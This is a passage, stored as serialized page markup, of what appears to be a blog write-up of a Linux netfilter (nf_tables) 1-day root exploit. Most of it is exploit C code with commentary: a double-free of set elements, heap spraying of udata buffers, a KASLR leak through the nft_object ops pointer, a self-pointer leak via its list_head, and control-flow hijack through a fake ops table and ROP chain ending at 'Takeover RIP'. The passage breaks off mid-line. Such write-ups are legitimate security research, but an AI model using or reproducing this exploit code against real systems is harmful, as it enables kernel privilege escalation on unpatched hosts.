",{"type":25,"tag":201,"props":56067,"children":56068},{"style":261},[56069],{"type":31,"value":4615},{"type":25,"tag":201,"props":56071,"children":56072},{"style":220},[56073],{"type":31,"value":55782},{"type":25,"tag":201,"props":56075,"children":56076},{"class":203,"line":939},[56077,56082,56086,56090,56094,56098],{"type":25,"tag":201,"props":56078,"children":56079},{"style":214},[56080],{"type":31,"value":56081},"    nftnl_set_elem_add",{"type":25,"tag":201,"props":56083,"children":56084},{"style":220},[56085],{"type":31,"value":55824},{"type":25,"tag":201,"props":56087,"children":56088},{"style":246},[56089],{"type":31,"value":53142},{"type":25,"tag":201,"props":56091,"children":56092},{"style":220},[56093],{"type":31,"value":423},{"type":25,"tag":201,"props":56095,"children":56096},{"style":426},[56097],{"type":31,"value":18792},{"type":25,"tag":201,"props":56099,"children":56100},{"style":220},[56101],{"type":31,"value":5255},{"type":25,"tag":201,"props":56103,"children":56104},{"class":203,"line":960},[56105],{"type":25,"tag":201,"props":56106,"children":56107},{"style":220},[56108],{"type":31,"value":11821},{"type":25,"tag":201,"props":56110,"children":56111},{"class":203,"line":977},[56112],{"type":25,"tag":201,"props":56113,"children":56114},{"emptyLinePlaceholder":17},[56115],{"type":31,"value":496},{"type":25,"tag":201,"props":56117,"children":56118},{"class":203,"line":994},[56119],{"type":25,"tag":201,"props":56120,"children":56121},{"style":220},[56122],{"type":31,"value":56123},"    // double-free commited elems\n",{"type":25,"tag":201,"props":56125,"children":56126},{"class":203,"line":1016},[56127],{"type":25,"tag":201,"props":56128,"children":56129},{"style":220},[56130],{"type":31,"value":11821},{"type":25,"tag":201,"props":56132,"children":56133},{"class":203,"line":1089},[56134,56139,56143],{"type":25,"tag":201,"props":56135,"children":56136},{"style":220},[56137],{"type":31,"value":56138},"    nftnl_set_free(",{"type":25,"tag":201,"props":56140,"children":56141},{"style":4925},[56142],{"type":31,"value":52097},{"type":25,"tag":201,"props":56144,"children":56145},{"style":220},[56146],{"type":31,"value":308},{"type":25,"tag":201,"props":56148,"children":56149},{"class":203,"line":1107},[56150],{"type":25,"tag":201,"props":56151,"children":56152},{"style":220},[56153],{"type":31,"value":1187},{"type":25,"tag":201,"props":56155,"children":56156},{"class":203,"line":1116},[56157],{"type":25,"tag":201,"props":56158,"children":56159},{"style":220},[56160],{"type":31,"value":11821},{"type":25,"tag":40,"props":56162,"children":56164},{"id":56163},"leaking-kaslr",[56165],{"type":31,"value":56166},"Leaking KASLR",{"type":25,"tag":34,"props":56168,"children":56169},{},[56170,56172,56178,56180,56185,56187,56193,56195,56201,56203],{"type":31,"value":56171},"Tables contain an outline user data buffer ",{"type":25,"tag":115,"props":56173,"children":56175},{"className":56174},[],[56176],{"type":31,"value":56177},"udata",{"type":31,"value":56179}," that we can both read and write. By allocating a ",{"type":25,"tag":115,"props":56181,"children":56183},{"className":56182},[],[56184],{"type":31,"value":56177},{"type":31,"value":56186}," buffer on the double-free slot and then overlapping it with an ",{"type":25,"tag":115,"props":56188,"children":56190},{"className":56189},[],[56191],{"type":31,"value":56192},"nft_object",{"type":31,"value":56194}," we can leak the ",{"type":25,"tag":115,"props":56196,"children":56198},{"className":56197},[],[56199],{"type":31,"value":56200},"->ops",{"type":31,"value":56202}," pointer, and use it to calculate the KASLR slide.\n",{"type":25,"tag":127,"props":56204,"children":56206},{"alt":51656,"src":56205},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":25,"tag":191,"props":56208,"children":56210},{"className":30593,"code":56209,"language":30595,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[56211],{"type":25,"tag":115,"props":56212,"children":56213},{"__ignoreMap":7},[56214,56221,56229,56264,56271,56279,56304,56331,56382,56389,56422,56448,56455,56520,56527,56548,56555,56562,56570,56578,56599,56628,56640,56684,56740],{"type":25,"tag":201,"props":56215,"children":56216},{"class":203,"line":204},[56217],{"type":25,"tag":201,"props":56218,"children":56219},{"style":220},[56220],{"type":31,"value":11821},{"type":25,"tag":201,"props":56222,"children":56223},{"class":203,"line":226},[56224],{"type":25,"tag":201,"props":56225,"children":56226},{"style":220},[56227],{"type":31,"value":56228},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":25,"tag":201,"props":56230,"children":56231},{"class":203,"line":278},[56232,56237,56241,56246,56251,56256,56260],{"type":25,"tag":201,"props":56233,"children":56234},{"style":220},[56235],{"type":31,"value":56236},"    udata_spray(",{"type":25,"tag":201,"props":56238,"children":56239},{"style":4925},[56240],{"type":31,"value":55368},{"type":25,"tag":201,"props":56242,"children":56243},{"style":220},[56244],{"type":31,"value":56245},", 0",{"type":25,"tag":201,"props":56247,"children":56248},{"style":4925},[56249],{"type":31,"value":56250},"xe8",{"type":25,"tag":201,"props":56252,"children":56253},{"style":220},[56254],{"type":31,"value":56255},", 0, 3, ",{"type":25,"tag":201,"props":56257,"children":56258},{"style":4925},[56259],{"type":31,"value":55574},{"type":25,"tag":201,"props":56261,"children":56262},{"style":220},[56263],{"type":31,"value":308},{"type":25,"tag":201,"props":56265,"children":56266},{"class":203,"line":311},[56267],{"type":25,"tag":201,"props":56268,"children":56269},{"emptyLinePlaceholder":17},[56270],{"type":31,"value":496},{"type":25,"tag":201,"props":56272,"children":56273},{"class":203,"line":330},[56274],{"type":25,"tag":201,"props":56275,"children":56276},{"style":4497},[56277],{"type":31,"value":56278},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":25,"tag":201,"props":56280,"children":56281},{"class":203,"line":397},[56282,56287,56292,56296,56300],{"type":25,"tag":201,"props":56283,"children":56284},{"style":208},[56285],{"type":31,"value":56286},"    char",{"type":25,"tag":201,"props":56288,"children":56289},{"style":246},[56290],{"type":31,"value":56291}," spray_name",{"type":25,"tag":201,"props":56293,"children":56294},{"style":220},[56295],{"type":31,"value":423},{"type":25,"tag":201,"props":56297,"children":56298},{"style":426},[56299],{"type":31,"value":41918},{"type":25,"tag":201,"props":56301,"children":56302},{"style":220},[56303],{"type":31,"value":434},{"type":25,"tag":201,"props":56305,"children":56306},{"class":203,"line":437},[56307,56311,56315,56319,56323,56327],{"type":25,"tag":201,"props":56308,"children":56309},{"style":208},[56310],{"type":31,"value":56286},{"type":25,"tag":201,"props":56312,"children":56313},{"style":261},[56314],{"type":31,"value":11319},{"type":25,"tag":201,"props":56316,"children":56317},{"style":246},[56318],{"type":31,"value":56177},{"type":25,"tag":201,"props":56320,"children":56321},{"style":220},[56322],{"type":31,"value":423},{"type":25,"tag":201,"props":56324,"children":56325},{"style":426},[56326],{"type":31,"value":18792},{"type":25,"tag":201,"props":56328,"children":56329},{"style":220},[56330],{"type":31,"value":434},{"type":25,"tag":201,"props":56332,"children":56333},{"class":203,"line":464},[56334,56338,56342,56346,56350,56354,56358,56362,56366,56370,56374,56378],{"type":25,"tag":201,"props":56335,"children":56336},{"style":230},[56337],{"type":31,"value":4539},{"type":25,"tag":201,"props":56339,"children":56340},{"style":220},[56341],{"type":31,"value":238},{"type":25,"tag":201,"props":56343,"children":56344},{"style":208},[56345],{"type":31,"value":20546},{"type":25,"tag":201,"props":56347,"children":56348},{"style":220},[56349],{"type":31,"value":55622},{"type":25,"tag":201,"props":56351,"children":56352},{"style":261},[56353],{"type":31,"value":1383},{"type":25,"tag":201,"props":56355,"children":56356},{"style":426},[56357],{"type":31,"value":4554},{"type":25,"tag":201,"props":56359,"children":56360},{"style":220},[56361],{"type":31,"value":52311},{"type":25,"tag":201,"props":56363,"children":56364},{"style":261},[56365],{"type":31,"value":1298},{"type":25,"tag":201,"props":56367,"children":56368},{"style":426},[56369],{"type":31,"value":20598},{"type":25,"tag":201,"props":56371,"children":56372},{"style":220},[56373],{"type":31,"value":52342},{"type":25,"tag":201,"props":56375,"children":56376},{"style":261},[56377],{"type":31,"value":52347},{"type":25,"tag":201,"props":56379,"children":56380},{"style":220},[56381],{"type":31,"value":4666},{"type":25,"tag":201,"props":56383,"children":56384},{"class":203,"line":490},[56385],{"type":25,"tag":201,"props":56386,"children":56387},{"style":220},[56388],{"type":31,"value":30670},{"type":25,"tag":201,"props":56390,"children":56391},{"class":203,"line":499},[56392,56397,56402,56407,56412,56417],{"type":25,"tag":201,"props":56393,"children":56394},{"style":214},[56395],{"type":31,"value":56396},"        snprintf",{"type":25,"tag":201,"props":56398,"children":56399},{"style":220},[56400],{"type":31,"value":56401},"(spray_name, ",{"type":25,"tag":201,"props":56403,"children":56404},{"style":208},[56405],{"type":31,"value":56406},"sizeof",{"type":25,"tag":201,"props":56408,"children":56409},{"style":220},[56410],{"type":31,"value":56411},"(spray_name), ",{"type":25,"tag":201,"props":56413,"children":56414},{"style":267},[56415],{"type":31,"value":56416},"\"spray-%i\"",{"type":25,"tag":201,"props":56418,"children":56419},{"style":220},[56420],{"type":31,"value":56421},", i);\n",{"type":25,"tag":201,"props":56423,"children":56424},{"class":203,"line":522},[56425,56430,56434,56438,56443],{"type":25,"tag":201,"props":56426,"children":56427},{"style":246},[56428],{"type":31,"value":56429},"        udata",{"type":25,"tag":201,"props":56431,"children":56432},{"style":220},[56433],{"type":31,"value":55674},{"type":25,"tag":201,"props":56435,"children":56436},{"style":261},[56437],{"type":31,"value":1383},{"type":25,"tag":201,"props":56439,"children":56440},{"style":214},[56441],{"type":31,"value":56442}," getudata",{"type":25,"tag":201,"props":56444,"children":56445},{"style":220},[56446],{"type":31,"value":56447},"(nl, spray_name);\n",{"type":25,"tag":201,"props":56449,"children":56450},{"class":203,"line":531},[56451],{"type":25,"tag":201,"props":56452,"children":56453},{"style":220},[56454],{"type":31,"value":4861},{"type":25,"tag":201,"props":56456,"children":56457},{"class":203,"line":550},[56458,56462,56466,56470,56474,56478,56482,56486,56490,56494,56499,56503,56507,56511,56515],{"type":25,"tag":201,"props":56459,"children":56460},{"style":230},[56461],{"type":31,"value":13781},{"type":25,"tag":201,"props":56463,"children":56464},{"style":220},[56465],{"type":31,"value":238},{"type":25,"tag":201,"props":56467,"children":56468},{"style":246},[56469],{"type":31,"value":56177},{"type":25,"tag":201,"props":56471,"children":56472},{"style":220},[56473],{"type":31,"value":423},{"type":25,"tag":201,"props":56475,"children":56476},{"style":426},[56477],{"type":31,"value":429},{"type":25,"tag":201,"props":56479,"children":56480},{"style":220},[56481],{"type":31,"value":50035},{"type":25,"tag":201,"props":56483,"children":56484},{"style":426},[56485],{"type":31,"value":429},{"type":25,"tag":201,"props":56487,"children":56488},{"style":220},[56489],{"type":31,"value":10169},{"type":25,"tag":201,"props":56491,"children":56492},{"style":261},[56493],{"type":31,"value":10083},{"type":25,"tag":201,"props":56495,"children":56496},{"style":246},[56497],{"type":31,"value":56498}," udata",{"type":25,"tag":201,"props":56500,"children":56501},{"style":220},[56502],{"type":31,"value":423},{"type":25,"tag":201,"props":56504,"children":56505},{"style":426},[56506],{"type":31,"value":4629},{"type":25,"tag":201,"props":56508,"children":56509},{"style":220},[56510],{"type":31,"value":50035},{"type":25,"tag":201,"props":56512,"children":56513},{"style":426},[56514],{"type":31,"value":429},{"type":25,"tag":201,"props":56516,"children":56517},{"style":220},[56518],{"type":31,"value":56519},"])\n",{"type":25,"tag":201,"props":56521,"children":56522},{"class":203,"line":563},[56523],{"type":25,"tag":201,"props":56524,"children":56525},{"style":220},[56526],{"type":31,"value":30670},{"type":25,"tag":201,"props":56528,"children":56529},{"class":203,"line":572},[56530,56535,56539,56544],{"type":25,"tag":201,"props":56531,"children":56532},{"style":214},[56533],{"type":31,"value":56534},"        puts",{"type":25,"tag":201,"props":56536,"children":56537},{"style":220},[56538],{"type":31,"value":298},{"type":25,"tag":201,"props":56540,"children":56541},{"style":267},[56542],{"type":31,"value":56543},"\"[+] got duplicated table\"",{"type":25,"tag":201,"props":56545,"children":56546},{"style":220},[56547],{"type":31,"value":308},{"type":25,"tag":201,"props":56549,"children":56550},{"class":203,"line":590},[56551],{"type":25,"tag":201,"props":56552,"children":56553},{"style":220},[56554],{"type":31,"value":4861},{"type":25,"tag":201,"props":56556,"children":56557},{"class":203,"line":608},[56558],{"type":25,"tag":201,"props":56559,"children":56560},{"emptyLinePlaceholder":17},[56561],{"type":31,"value":496},{"type":25,"tag":201,"props":56563,"children":56564},{"class":203,"line":617},[56565],{"type":25,"tag":201,"props":56566,"children":56567},{"style":4497},[56568],{"type":31,"value":56569},"    // Replace one of the udata buffers with nft_object\n",{"type":25,"tag":201,"props":56571,"children":56572},{"class":203,"line":625},[56573],{"type":25,"tag":201,"props":56574,"children":56575},{"style":4497},[56576],{"type":31,"value":56577},"    // and read it's counterpart to leak the nft_object struct\n",{"type":25,"tag":201,"props":56579,"children":56580},{"class":203,"line":642},[56581,56586,56590,56595],{"type":25,"tag":201,"props":56582,"children":56583},{"style":214},[56584],{"type":31,"value":56585},"    puts",{"type":25,"tag":201,"props":56587,"children":56588},{"style":220},[56589],{"type":31,"value":298},{"type":25,"tag":201,"props":56591,"children":56592},{"style":267},[56593],{"type":31,"value":56594},"\"[*] Info leak\"",{"type":25,"tag":201,"props":56596,"children":56597},{"style":220},[56598],{"type":31,"value":308},{"type":25,"tag":201,"props":56600,"children":56601},{"class":203,"line":659},[56602,56607,56612,56616,56620,56624],{"type":25,"tag":201,"props":56603,"children":56604},{"style":214},[56605],{"type":31,"value":56606},"    deludata_spray",{"type":25,"tag":201,"props":56608,"children":56609},{"style":220},[56610],{"type":31,"value":56611},"(nl, ",{"type":25,"tag":201,"props":56613,"children":56614},{"style":426},[56615],{"type":31,"value":429},{"type":25,"tag":201,"props":56617,"children":56618},{"style":220},[56619],{"type":31,"value":919},{"type":25,"tag":201,"props":56621,"children":56622},{"style":426},[56623],{"type":31,"value":5516},{"type":25,"tag":201,"props":56625,"children":56626},{"style":220},[56627],{"type":31,"value":308},{"type":25,"tag":201,"props":56629,"children":56630},{"class":203,"line":667},[56631,56636],{"type":25,"tag":201,"props":56632,"children":56633},{"style":214},[56634],{"type":31,"value":56635},"    wait_destroyer",{"type":25,"tag":201,"props":56637,"children":56638},{"style":220},[56639],{"type":31,"value":1985},{"type":25,"tag":201,"props":56641,"children":56642},{"class":203,"line":676},[56643,56648,56652,56656,56660,56664,56668,56672,56676,56680],{"type":25,"tag":201,"props":56644,"children":56645},{"style":214},[56646],{"type":31,"value":56647},"    obj_spray",{"type":25,"tag":201,"props":56649,"children":56650},{"style":220},[56651],{"type":31,"value":56611},{"type":25,"tag":201,"props":56653,"children":56654},{"style":426},[56655],{"type":31,"value":429},{"type":25,"tag":201,"props":56657,"children":56658},{"style":220},[56659],{"type":31,"value":919},{"type":25,"tag":201,"props":56661,"children":56662},{"style":426},[56663],{"type":31,"value":5516},{"type":25,"tag":201,"props":56665,"children":56666},{"style":220},[56667],{"type":31,"value":919},{"type":25,"tag":201,"props":56669,"children":56670},{"style":208},[56671],{"type":31,"value":55574},{"type":25,"tag":201,"props":56673,"children":56674},{"style":220},[56675],{"type":31,"value":919},{"type":25,"tag":201,"props":56677,"children":56678},{"style":426},[56679],{"type":31,"value":429},{"type":25,"tag":201,"props":56681,"children":56682},{"style":220},[56683],{"type":31,"value":308},{"type":25,"tag":201,"props":56685,"children":56686},{"class":203,"line":694},[56687,56692,56696,56701,56705,56709,56714,56718,56722,56727,56731,56736],{"type":25,"tag":201,"props":56688,"children":56689},{"style":208},[56690],{"type":31,"value":56691},"    uint64_t",{"type":25,"tag":201,"props":56693,"children":56694},{"style":261},[56695],{"type":31,"value":11319},{"type":25,"tag":201,"props":56697,"children":56698},{"style":220},[56699],{"type":31,"value":56700},"fake_obj ",{"type":25,"tag":201,"props":56702,"children":56703},{"style":261},[56704],{"type":31,"value":1383},{"type":25,"tag":201,"props":56706,"children":56707},{"style":220},[56708],{"type":31,"value":238},{"type":25,"tag":201,"props":56710,"children":56711},{"style":208},[56712],{"type":31,"value":56713},"uint64_t",{"type":25,"tag":201,"props":56715,"children":56716},{"style":261},[56717],{"type":31,"value":11319},{"type":25,"tag":201,"props":56719,"children":56720},{"style":220},[56721],{"type":31,"value":3073},{"type":25,"tag":201,"props":56723,"children":56724},{"style":214},[56725],{"type":31,"value":56726},"getudata",{"type":25,"tag":201,"props":56728,"children":56729},{"style":220},[56730],{"type":31,"value":56611},{"type":25,"tag":201,"props":56732,"children":56733},{"style":267},[56734],{"type":31,"value":56735},"\"spray-2\"",{"type":25,"tag":201,"props":56737,"children":56738},{"style":220},[56739],{"type":31,"value":308},{"type":25,"tag":201,"props":56741,"children":56742},{"class":203,"line":707},[56743],{"type":25,"tag":201,"props":56744,"children":56745},{"style":220},[56746],{"type":31,"value":11821},{"type":25,"tag":40,"props":56748,"children":56750},{"id":56749},"leaking-self-pointer-of-nft_object",[56751,56753],{"type":31,"value":56752},"Leaking self pointer of ",{"type":25,"tag":115,"props":56754,"children":56756},{"className":56755},[],[56757],{"type":31,"value":56192},{"type":25,"tag":34,"props":56759,"children":56760},{},[56761,56763,56768,56770,56775,56777,56782,56784,56790],{"type":31,"value":56762},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":25,"tag":115,"props":56764,"children":56766},{"className":56765},[],[56767],{"type":31,"value":56192},{"type":31,"value":56769}," to get its own address. This is possible because the ",{"type":25,"tag":115,"props":56771,"children":56773},{"className":56772},[],[56774],{"type":31,"value":56192},{"type":31,"value":56776}," has a ",{"type":25,"tag":115,"props":56778,"children":56780},{"className":56779},[],[56781],{"type":31,"value":56177},{"type":31,"value":56783}," pointer (similar to ",{"type":25,"tag":115,"props":56785,"children":56787},{"className":56786},[],[56788],{"type":31,"value":56789},"table->udata",{"type":31,"value":56791}," that I used for leaking KASLR), that I can use to read/write data.",{"type":25,"tag":34,"props":56793,"children":56794},{},[56795,56796,56801,56803,56809,56811,56816,56818,56824,56826,56832,56834,56839,56841,56846,56848,56853,56855],{"type":31,"value":18109},{"type":25,"tag":115,"props":56797,"children":56799},{"className":56798},[],[56800],{"type":31,"value":56192},{"type":31,"value":56802}," struct also contains a ",{"type":25,"tag":115,"props":56804,"children":56806},{"className":56805},[],[56807],{"type":31,"value":56808},"list_head",{"type":31,"value":56810}," inserted in a circular list containing all ",{"type":25,"tag":115,"props":56812,"children":56814},{"className":56813},[],[56815],{"type":31,"value":56192},{"type":31,"value":56817},"'s that belong to a given ",{"type":25,"tag":115,"props":56819,"children":56821},{"className":56820},[],[56822],{"type":31,"value":56823},"table",{"type":31,"value":56825},". Considering that our object is currently alone in its table, the ",{"type":25,"tag":115,"props":56827,"children":56829},{"className":56828},[],[56830],{"type":31,"value":56831},"table->list.next",{"type":31,"value":56833}," pointer in the ",{"type":25,"tag":115,"props":56835,"children":56837},{"className":56836},[],[56838],{"type":31,"value":56192},{"type":31,"value":56840}," will point back to the ",{"type":25,"tag":115,"props":56842,"children":56844},{"className":56843},[],[56845],{"type":31,"value":56808},{"type":31,"value":56847}," contained in the ",{"type":25,"tag":115,"props":56849,"children":56851},{"className":56850},[],[56852],{"type":31,"value":56823},{"type":31,"value":56854}," and vice-versa.\n",{"type":25,"tag":127,"props":56856,"children":56858},{"alt":51656,"src":56857},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":25,"tag":34,"props":56860,"children":56861},{},[56862,56864,56869,56871,56876,56878,56884,56886,56891,56892,56897,56899,56904,56906,56911],{"type":31,"value":56863},"In short, that means that if we swap the ",{"type":25,"tag":115,"props":56865,"children":56867},{"className":56866},[],[56868],{"type":31,"value":56177},{"type":31,"value":56870}," pointer of the ",{"type":25,"tag":115,"props":56872,"children":56874},{"className":56873},[],[56875],{"type":31,"value":56192},{"type":31,"value":56877}," with its own ",{"type":25,"tag":115,"props":56879,"children":56881},{"className":56880},[],[56882],{"type":31,"value":56883},"list.next",{"type":31,"value":56885}," pointer we should be able to read a pointer back to the ",{"type":25,"tag":115,"props":56887,"children":56889},{"className":56888},[],[56890],{"type":31,"value":56192},{"type":31,"value":53417},{"type":25,"tag":115,"props":56893,"children":56895},{"className":56894},[],[56896],{"type":31,"value":56808},{"type":31,"value":56898}," which is also the start of the ",{"type":25,"tag":115,"props":56900,"children":56902},{"className":56901},[],[56903],{"type":31,"value":56192},{"type":31,"value":56905}," itself.\n",{"type":25,"tag":1252,"props":56907,"children":56908},{},[56909],{"type":31,"value":56910},"NOTE:",{"type":31,"value":56912}," This is a novel small trick.",{"type":25,"tag":191,"props":56914,"children":56916},{"className":30593,"code":56915,"language":30595,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[56917],{"type":25,"tag":115,"props":56918,"children":56919},{"__ignoreMap":7},[56920,56927,56935,56948,56996,57023,57034,57072,57079,57108,57138],{"type":25,"tag":201,"props":56921,"children":56922},{"class":203,"line":204},[56923],{"type":25,"tag":201,"props":56924,"children":56925},{"style":220},[56926],{"type":31,"value":11821},{"type":25,"tag":201,"props":56928,"children":56929},{"class":203,"line":226},[56930],{"type":25,"tag":201,"props":56931,"children":56932},{"style":220},[56933],{"type":31,"value":56934},"    // Leak nft_object ptr using table linked list\n",{"type":25,"tag":201,"props":56936,"children":56937},{"class":203,"line":278},[56938,56943],{"type":25,"tag":201,"props":56939,"children":56940},{"style":220},[56941],{"type":31,"value":56942},"    fake_obj[8] = 8;",{"type":25,"tag":201,"props":56944,"children":56945},{"style":4497},[56946],{"type":31,"value":56947},"           // ulen = 8\n",{"type":25,"tag":201,"props":56949,"children":56950},{"class":203,"line":311},[56951,56956,56960,56965,56969,56973,56978,56982,56986,56991],{"type":25,"tag":201,"props":56952,"children":56953},{"style":246},[56954],{"type":31,"value":56955},"    fake_obj",{"type":25,"tag":201,"props":56957,"children":56958},{"style":220},[56959],{"type":31,"value":423},{"type":25,"tag":201,"props":56961,"children":56962},{"style":426},[56963],{"type":31,"value":56964},"9",{"type":25,"tag":201,"props":56966,"children":56967},{"style":220},[56968],{"type":31,"value":10169},{"type":25,"tag":201,"props":56970,"children":56971},{"style":261},[56972],{"type":31,"value":1383},{"type":25,"tag":201,"props":56974,"children":56975},{"style":246},[56976],{"type":31,"value":56977}," fake_obj",{"type":25,"tag":201,"props":56979,"children":56980},{"style":220},[56981],{"type":31,"value":423},{"type":25,"tag":201,"props":56983,"children":56984},{"style":426},[56985],{"type":31,"value":429},{"type":25,"tag":201,"props":56987,"children":56988},{"style":220},[56989],{"type":31,"value":56990},"];",{"type":25,"tag":201,"props":56992,"children":56993},{"style":4497},[56994],{"type":31,"value":56995}," // udata = list->next\n",{"type":25,"tag":201,"props":56997,"children":56998},{"class":203,"line":330},[56999,57003,57007,57011,57015,57019],{"type":25,"tag":201,"props":57000,"children":57001},{"style":214},[57002],{"type":31,"value":56606},{"type":25,"tag":201,"props":57004,"children":57005},{"style":220},[57006],{"type":31,"value":56611},{"type":25,"tag":201,"props":57008,"children":57009},{"style":426},[57010],{"type":31,"value":4629},{"type":25,"tag":201,"props":57012,"children":57013},{"style":220},[57014],{"type":31,"value":919},{"type":25,"tag":201,"props":57016,"children":57017},{"style":426},[57018],{"type":31,"value":5516},{"type":25,"tag":201,"props":57020,"children":57021},{"style":220},[57022],{"type":31,"value":308},{"type":25,"tag":201,"props":57024,"children":57025},{"class":203,"line":397},[57026,57030],{"type":25,"tag":201,"props":57027,"children":57028},{"style":214},[57029],{"type":31,"value":56635},{"type":25,"tag":201,"props":57031,"children":57032},{"style":220},[57033],{"type":31,"value":1985},{"type":25,"tag":201,"props":57035,"children":57036},{"class":203,"line":437},[57037,57042,57046,57051,57055,57059,57063,57067],{"type":25,"tag":201,"props":57038,"children":57039},{"style":214},[57040],{"type":31,"value":57041},"    udata_spray",{"type":25,"tag":201,"props":57043,"children":57044},{"style":220},[57045],{"type":31,"value":56611},{"type":25,"tag":201,"props":57047,"children":57048},{"style":426},[57049],{"type":31,"value":57050},"0xe8",{"type":25,"tag":201,"props":57052,"children":57053},{"style":220},[57054],{"type":31,"value":919},{"type":25,"tag":201,"props":57056,"children":57057},{"style":426},[57058],{"type":31,"value":18792},{"type":25,"tag":201,"props":57060,"children":57061},{"style":220},[57062],{"type":31,"value":919},{"type":25,"tag":201,"props":57064,"children":57065},{"style":426},[57066],{"type":31,"value":5516},{"type":25,"tag":201,"props":57068,"children":57069},{"style":220},[57070],{"type":31,"value":57071},", fake_obj);\n",{"type":25,"tag":201,"props":57073,"children":57074},{"class":203,"line":464},[57075],{"type":25,"tag":201,"props":57076,"children":57077},{"emptyLinePlaceholder":17},[57078],{"type":31,"value":496},{"type":25,"tag":201,"props":57080,"children":57081},{"class":203,"line":490},[57082,57087,57091,57096,57100,57104],{"type":25,"tag":201,"props":57083,"children":57084},{"style":214},[57085],{"type":31,"value":57086},"    get_obj",{"type":25,"tag":201,"props":57088,"children":57089},{"style":220},[57090],{"type":31,"value":56611},{"type":25,"tag":201,"props":57092,"children":57093},{"style":267},[57094],{"type":31,"value":57095},"\"spray-0\"",{"type":25,"tag":201,"props":57097,"children":57098},{"style":220},[57099],{"type":31,"value":919},{"type":25,"tag":201,"props":57101,"children":57102},{"style":208},[57103],{"type":31,"value":5497},{"type":25,"tag":201,"props":57105,"children":57106},{"style":220},[57107],{"type":31,"value":308},{"type":25,"tag":201,"props":57109,"children":57110},{"class":203,"line":499},[57111,57116,57120,57125,57129,57133],{"type":25,"tag":201,"props":57112,"children":57113},{"style":214},[57114],{"type":31,"value":57115},"    printf",{"type":25,"tag":201,"props":57117,"children":57118},{"style":220},[57119],{"type":31,"value":298},{"type":25,"tag":201,"props":57121,"children":57122},{"style":267},[57123],{"type":31,"value":57124},"\"[*] nft_object ptr: 0x%lx",{"type":25,"tag":201,"props":57126,"children":57127},{"style":49450},[57128],{"type":31,"value":49453},{"type":25,"tag":201,"props":57130,"children":57131},{"style":267},[57132],{"type":31,"value":1557},{"type":25,"tag":201,"props":57134,"children":57135},{"style":220},[57136],{"type":31,"value":57137},", obj_ptr);\n",{"type":25,"tag":201,"props":57139,"children":57140},{"class":203,"line":522},[57141],{"type":25,"tag":201,"props":57142,"children":57143},{"style":220},[57144],{"type":31,"value":11821},{"type":25,"tag":40,"props":57146,"children":57148},{"id":57147},"hijacking-control-flow",[57149],{"type":31,"value":57150},"Hijacking control-flow",{"type":25,"tag":34,"props":57152,"children":57153},{},[57154,57156,57161,57163,57168,57170,57175,57177,57182,57184,57189,57191],{"type":31,"value":57155},"To hijack control-flow, we can use ",{"type":25,"tag":115,"props":57157,"children":57159},{"className":57158},[],[57160],{"type":31,"value":56192},{"type":31,"value":57162}," once again. The ",{"type":25,"tag":115,"props":57164,"children":57166},{"className":57165},[],[57167],{"type":31,"value":56192},{"type":31,"value":57169}," struct has an ",{"type":25,"tag":115,"props":57171,"children":57173},{"className":57172},[],[57174],{"type":31,"value":53748},{"type":31,"value":57176}," pointer to a function pointer table. We can swap the ",{"type":25,"tag":115,"props":57178,"children":57180},{"className":57179},[],[57181],{"type":31,"value":53748},{"type":31,"value":57183}," pointer with the ",{"type":25,"tag":115,"props":57185,"children":57187},{"className":57186},[],[57188],{"type":31,"value":56177},{"type":31,"value":57190}," pointer, taking control of the pointer table.\n",{"type":25,"tag":127,"props":57192,"children":57194},{"alt":51656,"src":57193},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":25,"tag":191,"props":57196,"children":57198},{"className":30593,"code":57197,"language":30595,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, 